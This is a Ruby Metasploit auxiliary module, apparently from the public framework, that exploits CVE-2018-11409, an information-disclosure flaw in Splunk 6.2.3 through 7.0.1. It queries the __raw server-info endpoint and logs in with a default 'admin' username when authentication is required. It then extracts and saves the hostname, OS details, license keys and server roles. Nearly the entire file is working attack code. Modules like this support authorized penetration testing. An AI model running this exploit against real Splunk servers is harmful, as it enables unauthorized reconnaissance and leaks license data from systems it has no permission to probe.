134 lines
4.7 KiB
Ruby
134 lines
4.7 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Splunk __raw Server Info Disclosure ',
|
|
'Description' => %q{
|
|
Splunk 6.2.3 through 7.0.1 allows information disclosure by appending
|
|
/__raw/services/server/info/server-info?output_mode=json to a query.
|
|
Versisons 6.6.0 through 7.0.1 require authentication.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'n00bhaxor', # msf module
|
|
'KOF2002', # original PoC
|
|
'h00die' # 6.6.0+
|
|
],
|
|
'References' => [
|
|
[ 'EDB', '44865' ],
|
|
[ 'URL', 'https://web.archive.org/web/20201124061756/https://www.splunk.com/en_us/product-security/announcements-archive/SP-CAAAP5E.html'],
|
|
[ 'CVE', '2018-11409']
|
|
],
|
|
'DisclosureDate' => '2018-06-08',
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [],
|
|
'SideEffects' => [IOC_IN_LOGS]
|
|
}
|
|
)
|
|
)
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8000),
|
|
OptString.new('USERNAME', [ false, 'User to login with', 'admin']),
|
|
OptString.new('PASSWORD', [ false, 'Password to login with', '']),
|
|
OptString.new('TARGETURI', [ true, 'The URI of the Splunk Application', ''])
|
|
]
|
|
)
|
|
end
|
|
|
|
def authenticate
|
|
login_url = normalize_uri(target_uri.path, 'en-US', 'account', 'login')
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => login_url
|
|
})
|
|
|
|
unless res
|
|
fail_with(Failure::Unreachable, 'No response received for authentication request')
|
|
end
|
|
|
|
cval_value = res.get_cookies.match(/cval=([^;]+)/)[1]
|
|
|
|
unless cval_value
|
|
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the cval cookie for authentication')
|
|
end
|
|
|
|
auth_payload = {
|
|
'username' => datastore['USERNAME'],
|
|
'password' => datastore['PASSWORD'],
|
|
'cval' => cval_value,
|
|
'set_has_logged_in' => 'false'
|
|
}
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => login_url,
|
|
'keep_cookies' => true,
|
|
'vars_post' => auth_payload
|
|
})
|
|
|
|
unless res && res.code == 200
|
|
fail_with(Failure::NoAccess, 'Failed to authenticate on the Splunk instance')
|
|
end
|
|
|
|
print_good('Successfully authenticated on the Splunk instance')
|
|
end
|
|
|
|
def get_contents
|
|
request = {
|
|
'uri' => normalize_uri(target_uri.path, 'en-US', 'splunkd', '__raw', 'services', 'server', 'info', 'server-info'),
|
|
'keep_cookies' => true,
|
|
'vars_get' => {
|
|
'output_mode' => 'json'
|
|
}
|
|
}
|
|
res = send_request_cgi(request)
|
|
|
|
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
|
|
# 200 is <6.6.0 success, 303 is >=6.6.0 likely success but need auth first
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response(response code: #{res.code})") unless res.code == 200 || res.code == 303
|
|
res
|
|
end
|
|
|
|
def run
|
|
# on 6.2.x-6.5.x this will work as its unauth
|
|
res = get_contents
|
|
# if we hit 6.6.0 - 7.1.0 we need to auth first
|
|
if res.body == '{"messages":[{"type":"ERROR","text":"See Other"}]}'
|
|
print_status('Authentication required, logging in and re-attempting')
|
|
authenticate
|
|
res = get_contents
|
|
end
|
|
|
|
j = res.get_json_document
|
|
|
|
loot_path = store_loot('splunk.system.status', 'application/json', datastore['RHOST'], res.body, 'system_status.json')
|
|
print_good("Output saved to #{loot_path}")
|
|
|
|
print_good("Hostname: #{j['entry'][0]['content']['host_fqdn']}")
|
|
print_good("CPU Architecture: #{j['entry'][0]['content']['cpu_arch']}")
|
|
print_good("Operating System: #{j['entry'][0]['content']['os_name']}")
|
|
print_good("OS Build: #{j['entry'][0]['content']['os_build']}")
|
|
print_good("OS Version: #{j['entry'][0]['content']['os_version']}")
|
|
print_good("Splunk Version: #{j['generator']['version']}")
|
|
print_good("Trial Version?: #{j['entry'][0]['content']['isTrial']}")
|
|
print_good("Splunk Forwarder?: #{j['entry'][0]['content']['isForwarding']}")
|
|
print_good("Splunk Product Type: #{j['entry'][0]['content']['product_type']}")
|
|
print_good("License State: #{j['entry'][0]['content']['licenseState']}")
|
|
print_good("License Key\(s\): #{j['entry'][0]['content']['licenseKeys']}")
|
|
print_good("Splunk Server Roles: #{j['entry'][0]['content']['server_roles']}")
|
|
converted_time = DateTime.strptime(j['entry'][0]['content']['startup_time'].to_s, '%s').strftime('%Y-%m-%d %H:%M:%S')
|
|
print_good("Splunk Server Startup Time: #{converted_time}")
|
|
end
|
|
end
|